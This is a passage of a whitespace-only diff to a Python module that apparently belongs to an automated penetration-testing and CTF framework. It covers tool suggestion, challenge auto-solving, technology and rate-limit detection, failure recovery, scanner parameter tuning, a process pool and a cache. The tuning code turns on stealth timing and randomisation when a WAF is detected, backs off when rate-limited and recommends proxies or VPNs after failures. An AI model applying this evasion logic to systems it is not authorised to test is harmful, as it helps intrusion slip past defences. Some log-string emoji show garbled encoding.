challenge_description.lower() - + # Category-based tool suggestions if category == "web": suggested_tools.extend(self.tool_categories["web_recon"][:2]) - + if any(keyword in description_lower for keyword in ["sql", "injection", "database", "mysql", "postgres"]): suggested_tools.extend(["sqlmap", "hash-identifier"]) if any(keyword in description_lower for keyword in ["xss", "script", "javascript", "dom"]): @@ -3758,7 +3758,7 @@ class CTFToolManager: suggested_tools.append("jwt-tool") if any(keyword in description_lower for keyword in ["graphql", "api"]): suggested_tools.append("graphql-voyager") - + elif category == "crypto": if any(keyword in description_lower for keyword in ["hash", "md5", "sha", "password"]): suggested_tools.extend(["hashcat", "john", "hash-identifier"]) @@ -3774,10 +3774,10 @@ class CTFToolManager: suggested_tools.append("rot13") if any(keyword in description_lower for keyword in ["pgp", "gpg", "signature"]): suggested_tools.append("gpg") - + elif category == "pwn": suggested_tools.extend(["checksec", "file", "strings"]) - + if any(keyword in description_lower for keyword in ["buffer", "overflow", "bof"]): suggested_tools.extend(["pwntools", "gdb-peda", "ropper"]) if any(keyword in description_lower for keyword in ["format", "printf", "string"]): @@ -3790,7 +3790,7 @@ class CTFToolManager: suggested_tools.extend(["pwntools", "one-gadget"]) if any(keyword in description_lower for keyword in ["canary", "stack", "protection"]): suggested_tools.extend(["checksec", "pwntools"]) - + elif category == "forensics": if any(keyword in description_lower for keyword in ["image", "jpg", "png", "gif", "steganography"]): suggested_tools.extend(["exiftool", "steghide", "stegsolve", "zsteg"]) @@ -3804,10 +3804,10 @@ class CTFToolManager: suggested_tools.extend(["testdisk", "sleuthkit"]) if any(keyword in description_lower for keyword in ["audio", "wav", "mp3", "sound"]): suggested_tools.extend(["audacity", "sonic-visualizer"]) - + elif category == "rev": suggested_tools.extend(["file", "strings", "objdump"]) - + if any(keyword in description_lower for keyword in ["packed", "upx", "packer"]): suggested_tools.extend(["upx", "peid", "detect-it-easy"]) if any(keyword in description_lower for keyword in ["android", "apk", "mobile"]): @@ -3820,7 +3820,7 @@ class CTFToolManager: suggested_tools.extend(["ghidra", "ida", "x64dbg"]) if any(keyword in description_lower for keyword in ["linux", "elf", "binary"]): suggested_tools.extend(["ghidra", "radare2", "gdb-peda"]) - + elif category == "osint": if any(keyword in description_lower for keyword in ["username", "social", "media"]): suggested_tools.extend(["sherlock", "social-analyzer"]) @@ -3832,7 +3832,7 @@ class CTFToolManager: suggested_tools.extend(["shodan", "censys"]) if any(keyword in description_lower for keyword in ["whois", "registration", "owner"]): suggested_tools.append("whois") - + elif category == "misc": if any(keyword in description_lower for keyword in ["qr", "barcode", "code"]): suggested_tools.append("qr-decoder") @@ -3844,7 +3844,7 @@ class CTFToolManager: suggested_tools.append("whitespace") if any(keyword in description_lower for keyword in ["piet", "image", "program"]): suggested_tools.append("piet") - + # Remove duplicates while preserving order return list(dict.fromkeys(suggested_tools)) @@ -3854,13 +3854,13 @@ class CTFToolManager: class CTFChallengeAutomator: """Advanced automation system for CTF challenge solving""" - + def __init__(self): self.active_challenges = {} self.solution_cache = {} self.learning_database = {} self.success_patterns = {} - + def auto_solve_challenge(self, challenge: CTFChallenge) -> Dict[str, Any]: """Attempt to automatically solve a CTF challenge""" result = { @@ -3874,48 +3874,48 @@ class CTFChallengeAutomator: "flag_candidates": [], "next_actions": [] } - + try: # Create workflow workflow = ctf_manager.create_ctf_challenge_workflow(challenge) - + # Execute automated steps for step in workflow["workflow_steps"]: if step.get("parallel", False): step_result = self._execute_parallel_step(step, challenge) else: step_result = self._execute_sequential_step(step, challenge) - + result["automated_steps"].append(step_result) - + # Check for flag candidates flag_candidates = self._extract_flag_candidates(step_result.get("output", "")) result["flag_candidates"].extend(flag_candidates) - + # Update confidence based on step success if step_result.get("success", False): result["confidence"] += 0.1 - + # Early termination if flag found if flag_candidates and self._validate_flag_format(flag_candidates[0]): result["status"] = "solved" result["flag"] = flag_candidates[0] break - + # If not solved automatically, provide manual guidance if result["status"] != "solved": result["manual_steps"] = self._generate_manual_guidance(challenge, result) result["status"] = "needs_manual_intervention" - + result["confidence"] = min(1.0, result["confidence"]) - + except Exception as e: result["status"] = "error" result["error"] = str(e) logger.error(f"Error in auto-solve for {challenge.name}: {str(e)}") - + return result - + def _execute_parallel_step(self, step: Dict[str, Any], challenge: CTFChallenge) -> Dict[str, Any]: """Execute a step with parallel tool execution""" step_result = { @@ -3927,10 +3927,10 @@ class CTFChallengeAutomator: "execution_time": 0, "artifacts": [] } - + start_time = time.time() tools = step.get("tools", []) - + # Execute tools in parallel (simulated for now) for tool in tools: try: @@ -3942,10 +3942,10 @@ class CTFChallengeAutomator: step_result["success"] = True except Exception as e: step_result["output"] += f"[{tool}] Error: {str(e)}\n" - + step_result["execution_time"] = time.time() - start_time return step_result - + def _execute_sequential_step(self, step: Dict[str, Any], challenge: CTFChallenge) -> Dict[str, Any]: """Execute a step sequentially""" step_result = { @@ -3957,10 +3957,10 @@ class CTFChallengeAutomator: "execution_time": 0, "artifacts": [] } - + start_time = time.time() tools = step.get("tools", []) - + for tool in tools: try: if tool == "manual": @@ -3976,10 +3976,10 @@ class CTFChallengeAutomator: step_result["success"] = True except Exception as e: step_result["output"] += f"[{tool}] Error: {str(e)}\n" - + step_result["execution_time"] = time.time() - start_time return step_result - + def _extract_flag_candidates(self, output: str) -> List[str]: """Extract potential flags from tool output""" flag_patterns = [ @@ -3992,14 +3992,14 @@ class CTFChallengeAutomator: r'[0-9a-f]{40}', # SHA1 hash r'[0-9a-f]{64}' # SHA256 hash ] - + candidates = [] for pattern in flag_patterns: matches = re.findall(pattern, output, re.IGNORECASE) candidates.extend(matches) - + return list(set(candidates)) # Remove duplicates - + def _validate_flag_format(self, flag: str) -> bool: """Validate if a string matches common flag formats""" common_formats = [ @@ -4009,32 +4009,32 @@ class CTFChallengeAutomator: r'^CTF\{.+\}$', r'^[a-zA-Z0-9_]+\{.+\}$' ] - + for pattern in common_formats: if re.match(pattern, flag, re.IGNORECASE): return True - + return False - + def _generate_manual_guidance(self, challenge: CTFChallenge, current_result: Dict[str, Any]) -> List[Dict[str, str]]: """Generate manual guidance when automation fails""" guidance = [] - + # Analyze what was attempted attempted_tools = [] for step in current_result["automated_steps"]: attempted_tools.extend(step.get("tools_used", [])) - + # Suggest alternative approaches all_category_tools = ctf_tools.get_category_tools(f"{challenge.category}_recon") unused_tools = [tool for tool in all_category_tools if tool not in attempted_tools] - + if unused_tools: guidance.append({ "action": "try_alternative_tools", "description": f"Try these alternative tools: {', '.join(unused_tools[:3])}" }) - + # Category-specific guidance if challenge.category == "web": guidance.extend([ @@ -4066,18 +4066,18 @@ class CTFChallengeAutomator: {"action": "key_extraction", "description": "Extract hardcoded keys or important values"}, {"action": "dynamic_analysis", "description": "Use dynamic analysis to understand runtime behavior"} ]) - + return guidance class CTFTeamCoordinator: """Coordinate team efforts in CTF competitions""" - + def __init__(self): self.team_members = {} self.challenge_assignments = {} self.team_communication = [] self.shared_resources = {} - + def optimize_team_strategy(self, challenges: List[CTFChallenge], team_skills: Dict[str, List[str]]) -> Dict[str, Any]: """Optimize team strategy based on member skills and challenge types""" strategy = { @@ -4088,7 +4088,7 @@ class CTFTeamCoordinator: "estimated_total_score": 0, "time_allocation": {} } - + # Analyze team skills skill_matrix = {} for member, skills in team_skills.items(): @@ -4101,19 +4101,19 @@ class CTFTeamCoordinator: "osint": "osint" in skills or "intelligence" in skills, "misc": True # Everyone can handle misc } - + # Score challenges for each team member member_challenge_scores = {} for member in team_skills.keys(): member_challenge_scores[member] = [] - + for challenge in challenges: base_score = challenge.points skill_multiplier = 1.0 - + if skill_matrix[member].get(challenge.category, False): skill_multiplier = 1.5 # 50% bonus for skill match - + difficulty_penalty = { "easy": 1.0, "medium": 0.9, @@ -4121,19 +4121,19 @@ class CTFTeamCoordinator: "insane": 0.5, "unknown": 0.8 }[challenge.difficulty] - + final_score = base_score * skill_multiplier * difficulty_penalty - + member_challenge_scores[member].append({ "challenge": challenge, "score": final_score, "estimated_time": self._estimate_solve_time(challenge, skill_matrix[member]) }) - + # Assign challenges using Hungarian algorithm approximation assignments = self._assign_challenges_optimally(member_challenge_scores) strategy["assignments"] = assignments - + # Create priority queue all_assignments = [] for member, challenges in assignments.items(): @@ -4144,14 +4144,14 @@ class CTFTeamCoordinator: "priority": challenge_info["score"], "estimated_time": challenge_info["estimated_time"] }) - + strategy["priority_queue"] = sorted(all_assignments, key=lambda x: x["priority"], reverse=True) - + # Identify collaboration opportunities strategy["collaboration_opportunities"] = self._identify_collaboration_opportunities(challenges, team_skills) - + return strategy - + def _estimate_solve_time(self, challenge: CTFChallenge, member_skills: Dict[str, bool]) -> int: """Estimate solve time for a challenge based on member skills""" base_times = { @@ -4161,25 +4161,25 @@ class CTFTeamCoordinator: "insane": 14400, # 4 hours "unknown": 5400 # 1.5 hours } - + base_time = base_times[challenge.difficulty] - + # Skill bonus if member_skills.get(challenge.category, False): base_time = int(base_time * 0.7) # 30% faster with relevant skills - + return base_time - + def _assign_challenges_optimally(self, member_challenge_scores: Dict[str, List[Dict]]) -> Dict[str, List[Dict]]: """Assign challenges to team members optimally""" assignments = {member: [] for member in member_challenge_scores.keys()} assigned_challenges = set() - + # Simple greedy assignment (in practice, would use Hungarian algorithm) for _ in range(len(member_challenge_scores)): best_assignment = None best_score = -1 - + for member, challenge_scores in member_challenge_scores.items(): for challenge_info in challenge_scores: challenge_name = challenge_info["challenge"].name @@ -4187,18 +4187,18 @@ class CTFTeamCoordinator: if challenge_info["score"] > best_score: best_score = challenge_info["score"] best_assignment = (member, challenge_info) - + if best_assignment: member, challenge_info = best_assignment assignments[member].append(challenge_info) assigned_challenges.add(challenge_info["challenge"].name) - + return assignments - + def _identify_collaboration_opportunities(self, challenges: List[CTFChallenge], team_skills: Dict[str, List[str]]) -> List[Dict[str, Any]]: """Identify challenges that would benefit from team collaboration""" collaboration_opportunities = [] - + for challenge in challenges: if challenge.difficulty in ["hard", "insane"]: # High-difficulty challenges benefit from collaboration @@ -4206,14 +4206,14 @@ class CTFTeamCoordinator: for member, skills in team_skills.items(): if challenge.category in [skill.lower() for skill in skills]: relevant_members.append(member) - + if len(relevant_members) >= 2: collaboration_opportunities.append({ "challenge": challenge.name, "recommended_team": relevant_members, "reason": f"High-difficulty {challenge.category} challenge benefits from collaboration" }) - + return collaboration_opportunities # ============================================================================ @@ -4222,7 +4222,7 @@ class CTFTeamCoordinator: class TechnologyDetector: """Advanced technology detection system for context-aware parameter selection""" - + def __init__(self): self.detection_patterns = { "web_servers": { @@ -4275,10 +4275,10 @@ class TechnologyDetector: "cdn": ["CloudFront", "Fastly", "KeyCDN", "MaxCDN", "Cloudflare"] } } - + self.port_services = { 21: "ftp", - 22: "ssh", + 22: "ssh", 23: "telnet", 25: "smtp", 53: "dns", @@ -4298,7 +4298,7 @@ class TechnologyDetector: 9200: "elasticsearch", 11211: "memcached" } - + def detect_technologies(self, target: str, headers: Dict[str, str] = None, content: str = "", ports: List[int] = None) -> Dict[str, List[str]]: """Comprehensive technology detection""" detected = { @@ -4310,7 +4310,7 @@ class TechnologyDetector: "security": [], "services": [] } - + # Header-based detection if headers: for category, tech_patterns in self.detection_patterns.items(): @@ -4320,7 +4320,7 @@ class TechnologyDetector: if pattern.lower() in header_value.lower() or pattern.lower() in header_name.lower(): if tech not in detected[category]: detected[category].append(tech) - + # Content-based detection if content: content_lower = content.lower() @@ -4330,7 +4330,7 @@ class TechnologyDetector: if pattern.lower() in content_lower: if tech not in detected[category]: detected[category].append(tech) - + # Port-based service detection if ports: for port in ports: @@ -4338,12 +4338,12 @@ class TechnologyDetector: service = self.port_services[port] if service not in detected["services"]: detected["services"].append(service) - + return detected class RateLimitDetector: """Intelligent rate limiting detection and automatic timing adjustment""" - + def __init__(self): self.rate_limit_indicators = [ "rate limit", @@ -4356,26 +4356,26 @@ class RateLimitDetector: "api limit", "request limit" ] - + self.timing_profiles = { "aggressive": {"delay": 0.1, "threads": 50, "timeout": 5}, "normal": {"delay": 0.5, "threads": 20, "timeout": 10}, "conservative": {"delay": 1.0, "threads": 10, "timeout": 15}, "stealth": {"delay": 2.0, "threads": 5, "timeout": 30} } - + def detect_rate_limiting(self, response_text: str, status_code: int, headers: Dict[str, str] = None) -> Dict[str, Any]: """Detect rate limiting from response""" rate_limit_detected = False confidence = 0.0 indicators_found = [] - + # Status code check if status_code == 429: rate_limit_detected = True confidence += 0.8 indicators_found.append("HTTP 429 status") - + # Response text check response_lower = response_text.lower() for indicator in self.rate_limit_indicators: @@ -4383,7 +4383,7 @@ class RateLimitDetector: rate_limit_detected = True confidence += 0.2 indicators_found.append(f"Text: '{indicator}'") - + # Header check if headers: rate_limit_headers = ["x-ratelimit", "retry-after", "x-rate-limit"] @@ -4393,16 +4393,16 @@ class RateLimitDetector: rate_limit_detected = True confidence += 0.3 indicators_found.append(f"Header: {header_name}") - + confidence = min(1.0, confidence) - + return { "detected": rate_limit_detected, "confidence": confidence, "indicators": indicators_found, "recommended_profile": self._recommend_timing_profile(confidence) } - + def _recommend_timing_profile(self, confidence: float) -> str: """Recommend timing profile based on rate limit confidence""" if confidence >= 0.8: @@ -4413,13 +4413,13 @@ class RateLimitDetector: return "normal" else: return "aggressive" - + def adjust_timing(self, current_params: Dict[str, Any], profile: str) -> Dict[str, Any]: """Adjust timing parameters based on profile""" timing = self.timing_profiles.get(profile, self.timing_profiles["normal"]) - + adjusted_params = current_params.copy() - + # Adjust common parameters if "threads" in adjusted_params: adjusted_params["threads"] = timing["threads"] @@ -4427,28 +4427,28 @@ class RateLimitDetector: adjusted_params["delay"] = timing["delay"] if "timeout" in adjusted_params: adjusted_params["timeout"] = timing["timeout"] - + # Tool-specific adjustments if "additional_args" in adjusted_params: args = adjusted_params["additional_args"] - + # Remove existing timing arguments args = re.sub(r'-t\s+\d+', '', args) args = re.sub(r'--threads\s+\d+', '', args) args = re.sub(r'--delay\s+[\d.]+', '', args) - + # Add new timing arguments args += f" -t {timing['threads']}" if timing["delay"] > 0: args += f" --delay {timing['delay']}" - + adjusted_params["additional_args"] = args.strip() - + return adjusted_params class FailureRecoverySystem: """Intelligent failure recovery with alternative tool selection""" - + def __init__(self): self.tool_alternatives = { "nmap": ["rustscan", "masscan", "zmap"], @@ -4460,7 +4460,7 @@ class FailureRecoverySystem: "amass": ["subfinder", "sublist3r", "assetfinder"], "ffuf": ["wfuzz", "gobuster", "dirb"] } - + self.failure_patterns = { "timeout": ["timeout", "timed out", "connection timeout"], "permission_denied": ["permission denied", "access denied", "forbidden"], @@ -4469,15 +4469,15 @@ class FailureRecoverySystem: "rate_limited": ["rate limit", "too many requests", "throttled"], "authentication_required": ["authentication required", "unauthorized", "login required"] } - + def analyze_failure(self, error_output: str, exit_code: int) -> Dict[str, Any]: """Analyze failure and suggest recovery strategies""" failure_type = "unknown" confidence = 0.0 recovery_strategies = [] - + error_lower = error_output.lower() - + # Identify failure type for failure, patterns in self.failure_patterns.items(): for pattern in patterns: @@ -4485,7 +4485,7 @@ class FailureRecoverySystem: failure_type = failure confidence += 0.3 break - + # Exit code analysis if exit_code == 1: confidence += 0.1 @@ -4495,9 +4495,9 @@ class FailureRecoverySystem: elif exit_code == 126: # permission denied failure_type = "permission_denied" confidence += 0.5 - + confidence = min(1.0, confidence) - + # Generate recovery strategies if failure_type == "timeout": recovery_strategies = [ @@ -4526,14 +4526,14 @@ class FailureRecoverySystem: "Use proxy or VPN", "Verify target is accessible" ] - + return { "failure_type": failure_type, "confidence": confidence, "recovery_strategies": recovery_strategies, "alternative_tools": self.tool_alternatives.get(self._extract_tool_name(error_output), []) } - + def _extract_tool_name(self, error_output: str) -> str: """Extract tool name from error output""" for tool in self.tool_alternatives.keys(): @@ -4543,7 +4543,7 @@ class FailureRecoverySystem: class PerformanceMonitor: """Advanced performance monitoring with automatic resource allocation""" - + def __init__(self): self.performance_metrics = {} self.resource_thresholds = { @@ -4552,7 +4552,7 @@ class PerformanceMonitor: "disk_high": 90.0, "network_high": 80.0 } - + self.optimization_rules = { "high_cpu": { "reduce_threads": 0.5, @@ -4575,7 +4575,7 @@ class PerformanceMonitor: "enable_connection_pooling": True } } - + def monitor_system_resources(self) -> Dict[str, float]: """Monitor current system resource usage""" try: @@ -4583,7 +4583,7 @@ class PerformanceMonitor: memory = psutil.virtual_memory() disk = psutil.disk_usage('/') network = psutil.net_io_counters() - + return { "cpu_percent": cpu_percent, "memory_percent": memory.percent, @@ -4595,31 +4595,31 @@ class PerformanceMonitor: except Exception as e: logger.error(f"Error monitoring system resources: {str(e)}") return {} - + def optimize_based_on_resources(self, current_params: Dict[str, Any], resource_usage: Dict[str, float]) -> Dict[str, Any]: """Optimize parameters based on current resource usage""" optimized_params = current_params.copy() optimizations_applied = [] - + # CPU optimization if resource_usage.get("cpu_percent", 0) > self.resource_thresholds["cpu_high"]: if "threads" in optimized_params: original_threads = optimized_params["threads"] optimized_params["threads"] = max(1, int(original_threads * self.optimization_rules["high_cpu"]["reduce_threads"])) optimizations_applied.append(f"Reduced threads from {original_threads} to {optimized_params['threads']}") - + if "delay" in optimized_params: original_delay = optimized_params.get("delay", 0) optimized_params["delay"] = original_delay * self.optimization_rules["high_cpu"]["increase_delay"] optimizations_applied.append(f"Increased delay to {optimized_params['delay']}") - + # Memory optimization if resource_usage.get("memory_percent", 0) > self.resource_thresholds["memory_high"]: if "batch_size" in optimized_params: original_batch = optimized_params["batch_size"] optimized_params["batch_size"] = max(1, int(original_batch * self.optimization_rules["high_memory"]["reduce_batch_size"])) optimizations_applied.append(f"Reduced batch size from {original_batch} to {optimized_params['batch_size']}") - + # Network optimization if "network_bytes_sent" in resource_usage: # Simple heuristic for high network usage @@ -4628,19 +4628,19 @@ class PerformanceMonitor: original_conn = optimized_params["concurrent_connections"] optimized_params["concurrent_connections"] = max(1, int(original_conn * self.optimization_rules["high_network"]["reduce_concurrent_connections"])) optimizations_applied.append(f"Reduced concurrent connections to {optimized_params['concurrent_connections']}") - + optimized_params["_optimizations_applied"] = optimizations_applied return optimized_params class ParameterOptimizer: """Advanced parameter optimization system with intelligent context-aware selection""" - + def __init__(self): self.tech_detector = TechnologyDetector() self.rate_limiter = RateLimitDetector() self.failure_recovery = FailureRecoverySystem() self.performance_monitor = PerformanceMonitor() - + # Tool-specific optimization profiles self.optimization_profiles = { "nmap": { @@ -4698,15 +4698,15 @@ class ParameterOptimizer: } } } - + def optimize_parameters_advanced(self, tool: str, target_profile: TargetProfile, context: Dict[str, Any] = None) -> Dict[str, Any]: """Advanced parameter optimization with full intelligence""" if context is None: context = {} - + # Get base parameters base_params = self._get_base_parameters(tool, target_profile) - + # Detect technologies for context-aware optimization detected_tech = self.tech_detector.detect_technologies( target_profile.target, @@ -4714,18 +4714,18 @@ class ParameterOptimizer: content=context.get("content", ""), ports=target_profile.open_ports ) - + # Apply technology-specific optimizations tech_optimized_params = self._apply_technology_optimizations(tool, base_params, detected_tech) - + # Monitor system resources and optimize accordingly resource_usage = self.performance_monitor.monitor_system_resources() resource_optimized_params = self.performance_monitor.optimize_based_on_resources(tech_optimized_params, resource_usage) - + # Apply profile-based optimizations profile = context.get("optimization_profile", "normal") profile_optimized_params = self._apply_profile_optimizations(tool, resource_optimized_params, profile) - + # Add metadata profile_optimized_params["_optimization_metadata"] = { "detected_technologies": detected_tech, @@ -4734,13 +4734,13 @@ class ParameterOptimizer: "optimizations_applied": resource_optimized_params.get("_optimizations_applied", []), "timestamp": datetime.now().isoformat() } - + return profile_optimized_params - + def _get_base_parameters(self, tool: str, profile: TargetProfile) -> Dict[str, Any]: """Get base parameters for a tool""" base_params = {"target": profile.target} - + # Tool-specific base parameters if tool == "nmap": base_params.update({ @@ -4765,26 +4765,26 @@ class ParameterOptimizer: "severity": "critical,high,medium", "threads": 25 }) - + return base_params - + def _apply_technology_optimizations(self, tool: str, params: Dict[str, Any], detected_tech: Dict[str, List[str]]) -> Dict[str, Any]: """Apply technology-specific optimizations""" optimized_params = params.copy() - + # Web server optimizations if "apache" in detected_tech.get("web_servers", []): if tool == "gobuster": optimized_params["extensions"] = "php,html,txt,xml,conf" elif tool == "nuclei": optimized_params["tags"] = optimized_params.get("tags", "") + ",apache" - + elif "nginx" in detected_tech.get("web_servers", []): if tool == "gobuster": optimized_params["extensions"] = "php,html,txt,json,conf" elif tool == "nuclei": optimized_params["tags"] = optimized_params.get("tags", "") + ",nginx" - + # CMS optimizations if "wordpress" in detected_tech.get("cms", []): if tool == "gobuster": @@ -4794,20 +4794,20 @@ class ParameterOptimizer: optimized_params["tags"] = optimized_params.get("tags", "") + ",wordpress" elif tool == "wpscan": optimized_params["enumerate"] = "ap,at,cb,dbe" - + # Language-specific optimizations if "php" in detected_tech.get("languages", []): if tool == "gobuster": optimized_params["extensions"] = "php,php3,php4,php5,phtml,html" elif tool == "sqlmap": optimized_params["dbms"] = "mysql" - + elif "dotnet" in detected_tech.get("languages", []): if tool == "gobuster": optimized_params["extensions"] = "aspx,asp,html,txt" elif tool == "sqlmap": optimized_params["dbms"] = "mssql" - + # Security feature adaptations if detected_tech.get("security", []): # WAF detected - use stealth mode @@ -4819,34 +4819,34 @@ class ParameterOptimizer: elif tool == "sqlmap": optimized_params["delay"] = 2 optimized_params["randomize"] = True - + return optimized_params - + def _apply_profile_optimizations(self, tool: str, params: Dict[str, Any], profile: str) -> Dict[str, Any]: """Apply optimization profile settings""" if tool not in self.optimization_profiles: return params - + profile_settings = self.optimization_profiles[tool].get(profile, {}) optimized_params = params.copy() - + # Apply profile-specific settings for key, value in profile_settings.items(): optimized_params[key] = value - + # Handle stealth mode flag if params.get("_stealth_mode", False) and profile != "stealth": # Force stealth settings even if different profile requested stealth_settings = self.optimization_profiles[tool].get("stealth", {}) for key, value in stealth_settings.items(): optimized_params[key] = value - + return optimized_params - + def handle_tool_failure(self, tool: str, error_output: str, exit_code: int, current_params: Dict[str, Any]) -> Dict[str, Any]: """Handle tool failure and suggest recovery""" failure_analysis = self.failure_recovery.analyze_failure(error_output, exit_code) - + recovery_plan = { "original_tool": tool, "failure_analysis": failure_analysis, @@ -4854,7 +4854,7 @@ class ParameterOptimizer: "alternative_tools": failure_analysis["alternative_tools"], "adjusted_parameters": current_params.copy() } - + # Apply automatic parameter adjustments based on failure type if failure_analysis["failure_type"] == "timeout": if "timeout" in recovery_plan["adjusted_parameters"]: @@ -4862,12 +4862,12 @@ class ParameterOptimizer: if "threads" in recovery_plan["adjusted_parameters"]: recovery_plan["adjusted_parameters"]["threads"] = max(1, recovery_plan["adjusted_parameters"]["threads"] // 2) recovery_plan["recovery_actions"].append("Increased timeout and reduced threads") - + elif failure_analysis["failure_type"] == "rate_limited": timing_profile = self.rate_limiter.adjust_timing(recovery_plan["adjusted_parameters"], "stealth") recovery_plan["adjusted_parameters"].update(timing_profile) recovery_plan["recovery_actions"].append("Applied stealth timing profile") - + return recovery_plan # ============================================================================ @@ -4876,7 +4876,7 @@ class ParameterOptimizer: class ProcessPool: """Intelligent process pool with auto-scaling capabilities""" - + def __init__(self, min_workers=2, max_workers=20, scale_threshold=0.8): self.min_workers = min_workers self.max_workers = max_workers @@ -4893,14 +4893,14 @@ class ProcessPool: "cpu_usage": 0.0, "memory_usage": 0.0 } - + # Initialize minimum workers self._scale_up(self.min_workers) - + # Start monitoring thread self.monitor_thread = threading.Thread(target=self._monitor_performance, daemon=True) self.monitor_thread.start() - + def submit_task(self, task_id: str, func, *args, **kwargs) -> str: """Submit a task to the process pool""" task = { @@ -4911,14 +4911,14 @@ class ProcessPool: "submitted_at": time.time(), "status": "queued" } - + with self.pool_lock: self.active_tasks[task_id] = task self.task_queue.put(task) - + logger.info(f"๐Ÿ“‹ Task submitted to pool: {task_id}") return task_id - + def get_task_result(self, task_id: str) -> Dict[str, Any]: """Get result of a submitted task""" with self.pool_lock: @@ -4928,32 +4928,32 @@ class ProcessPool: return {"status": self.active_tasks[task_id]["status"], "result": None} else: return {"status": "not_found", "result": None} - + def _worker_thread(self, worker_id: int): """Worker thread that processes tasks""" logger.info(f"๐Ÿ”ง Process pool worker {worker_id} started") - + while True: try: # Get task from queue with timeout task = self.task_queue.get(timeout=30) if task is None: # Shutdown signal break - + task_id = task["id"] start_time = time.time() - + # Update task status with self.pool_lock: if task_id in self.active_tasks: self.active_tasks[task_id]["status"] = "running" self.active_tasks[task_id]["worker_id"] = worker_id self.active_tasks[task_id]["started_at"] = start_time - + try: # Execute task result = task["func"](*task["args"], **task["kwargs"]) - + # Store result execution_time = time.time() - start_time with self.pool_lock: @@ -4964,20 +4964,20 @@ class ProcessPool: "worker_id": worker_id, "completed_at": time.time() } - + # Update performance metrics self.performance_metrics["tasks_completed"] += 1 self.performance_metrics["avg_task_time"] = ( (self.performance_metrics["avg_task_time"] * (self.performance_metrics["tasks_completed"] - 1) + execution_time) / self.performance_metrics["tasks_completed"] ) - + # Remove from active tasks if task_id in self.active_tasks: del self.active_tasks[task_id] - + logger.info(f"โœ… Task completed: {task_id} in {execution_time:.2f}s") - + except Exception as e: # Handle task failure with self.pool_lock: @@ -4988,67 +4988,67 @@ class ProcessPool: "worker_id": worker_id, "failed_at": time.time() } - + self.performance_metrics["tasks_failed"] += 1 - + if task_id in self.active_tasks: del self.active_tasks[task_id] - + logger.error(f"โŒ Task failed: {task_id} - {str(e)}") - + self.task_queue.task_done() - + except queue.Empty: # No tasks available, continue waiting continue except Exception as e: logger.error(f"๐Ÿ’ฅ Worker {worker_id} error: {str(e)}") - + def _monitor_performance(self): """Monitor pool performance and auto-scale""" while True: try: time.sleep(10) # Monitor every 10 seconds - + with self.pool_lock: queue_size = self.task_queue.qsize() active_workers = len([w for w in self.workers if w.is_alive()]) active_tasks_count = len(self.active_tasks) - + # Calculate load metrics if active_workers > 0: load_ratio = (active_tasks_count + queue_size) / active_workers else: load_ratio = float('inf') - + # Auto-scaling logic if load_ratio > self.scale_threshold and active_workers < self.max_workers: # Scale up new_workers = min(2, self.max_workers - active_workers) self._scale_up(new_workers) logger.info(f"๐Ÿ“ˆ Scaled up process pool: +{new_workers} workers (total: {active_workers + new_workers})") - + elif load_ratio < 0.3 and active_workers > self.min_workers: # Scale down workers_to_remove = min(1, active_workers - self.min_workers) self._scale_down(workers_to_remove) logger.info(f"๐Ÿ“‰ Scaled down process pool: -{workers_to_remove} workers (total: {active_workers - workers_to_remove})") - + # Update performance metrics try: cpu_percent = psutil.cpu_percent() memory_info = psutil.virtual_memory() - + with self.pool_lock: self.performance_metrics["cpu_usage"] = cpu_percent self.performance_metrics["memory_usage"] = memory_info.percent - + except Exception: pass # Ignore psutil errors - + except Exception as e: logger.error(f"๐Ÿ’ฅ Pool monitor error: {str(e)}") - + def _scale_up(self, count: int): """Add workers to the pool""" with self.pool_lock: @@ -5057,7 +5057,7 @@ class ProcessPool: worker = threading.Thread(target=self._worker_thread, args=(worker_id,), daemon=True) worker.start() self.workers.append(worker) - + def _scale_down(self, count: int): """Remove workers from the pool""" with self.pool_lock: @@ -5068,7 +5068,7 @@ class ProcessPool: # Remove from workers list (worker will exit naturally) if self.workers: self.workers.pop() - + def get_pool_stats(self) -> Dict[str, Any]: """Get current pool statistics""" with self.pool_lock: @@ -5084,7 +5084,7 @@ class ProcessPool: class AdvancedCache: """Advanced caching system with intelligent TTL and LRU eviction""" - + def __init__(self, max_size=1000, default_ttl=3600): self.max_size = max_size self.default_ttl = default_ttl @@ -5094,49 +5094,49 @@ class AdvancedCache: self.cache_lock = threading.RLock() self.hit_count = 0 self.miss_count = 0 - + # Start cleanup thread self.cleanup_thread = threading.Thread(target=self._cleanup_expired, daemon=True) self.cleanup_thread.start() - + def get(self, key: str) -> Any: """Get value from cache""" with self.cache_lock: current_time = time.time() - + # Check if key exists and is not expired if key in self.cache and (key not in self.ttl_times or self.ttl_times[key] > current_time): # Update access time for LRU self.access_times[key] = current_time self.hit_count += 1 return self.cache[key] - + # Cache miss or expired if key in self.cache: # Remove expired entry self._remove_key(key) - + self.miss_count += 1 return None - + def set(self, key: str, value: Any, ttl: int = None) -> None: """Set value in cache with optional TTL""" with self.cache_lock: current_time = time.time() - + # Use default TTL if not specified if ttl is None: ttl = self.default_ttl - + # Check if we need to evict entries if len(self.cache) >= self.max_size and key not in self.cache: self._evict_lru() - + # Set the value self.cache[key] = value self.access_times[key] = current_time self.ttl_times[key] = current_time + ttl - + def delete(self, key: str) -> bool: """Delete key from cache""" with self.cache_lock: @@ -5144,30 +5144,30 @@ class AdvancedCache: self._remove_key(key) return True return False - + def clear(self) -> None: """Clear all cache entries""" with self.cache_lock: self.cache.clear() self.access_times.clear() self.ttl_times.clear() - + def _remove_key(self, key: str) -> None: """Remove key and associated metadata""" self.cache.pop(key, None) self.access_times.pop(key, None) self.ttl_times.pop(key, None) - + def _evict_lru(self) -> None: """Evict least recently used entry""" if not self.access_times: return - + # Find least recently used key lru_key = min(self.access_times.keys(), key=lambda k: self.access_times[k]) self._remove_key(lru_key) logger.debug(f"๐Ÿ—‘๏ธ Evicted LRU cache entry: {lru_key}") - + def _cleanup_expired(self) -> None: """Cleanup expired entries periodically""" while True: @@ -5175,27 +5175,27 @@ class AdvancedCache: time.sleep(60) # Cleanup every minute current_time = time.time() expired_keys = [] - + with self.cache_lock: for key, expiry_time in self.ttl_times.items(): if expiry_time <= current_time: expired_keys.append(key) - + for key in expired_keys: self._remove_key(key) - + if expired_keys: logger.debug(f"๐Ÿงน Cleaned up {len(expired_keys)} expired cache entries") - + except Exception as e: logger.error(f"๐Ÿ’ฅ Cache cleanup error: {str(e)}") - + def get_stats(self) -> Dict[str, Any]: """Get cache statistics""" with self.cache_lock: total_requests = self.hit_count + self.miss_count hit_rate = (self.hit_count / total_requests * 100) if total_requests > 0 else 0 - + return { "size": len(self.cache), "max_size": self.max_size, @@ -5207,7 